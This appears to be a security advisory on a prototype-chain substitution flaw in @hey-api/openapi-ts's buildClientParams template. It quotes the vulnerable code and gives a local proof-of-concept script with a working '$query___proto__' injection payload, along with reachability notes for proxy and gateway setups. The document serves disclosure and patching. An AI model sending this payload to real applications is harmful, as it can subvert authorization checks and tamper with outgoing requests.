@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key

Summary

dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.

Details

The vulnerable branch in dist/clients/core/params.ts:

const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
  const [prefix, slot] = extra
  ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}

This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).

Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.

Concrete field config that hey-api generates for a GET endpoint with one query param q:

// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])

A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.

PoC

npm install @hey-api/openapi-ts@0.97.2
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc

poc.ts:

import { buildClientParams } from "./params.ts";

// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];

// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
  [{ q: "hello", "$query___proto__": { isAdmin: true } }],
  generatedFields
);

const q = result.query as any;
console.log(q.q);                           // "hello" — own property, normal
console.log(q.isAdmin);                     // true — inherited via prototype chain
console.log(Object.keys(q));               // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"

Expected output:

[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
  Scenario: GET /search with fields [{ in:'query', key:'q' }]
  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }

  result.query.q         = hello
  result.query.isAdmin   = true  ← inherited, NOT own
  Object.keys(q)         = [ 'q' ]
  for..in keys           = q, isAdmin
  Object.getPrototypeOf  = {"isAdmin":true}

No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip

Impact

The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.

Global Object.prototype is not modified — impact is limited to the returned slot object and its consumers.

Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.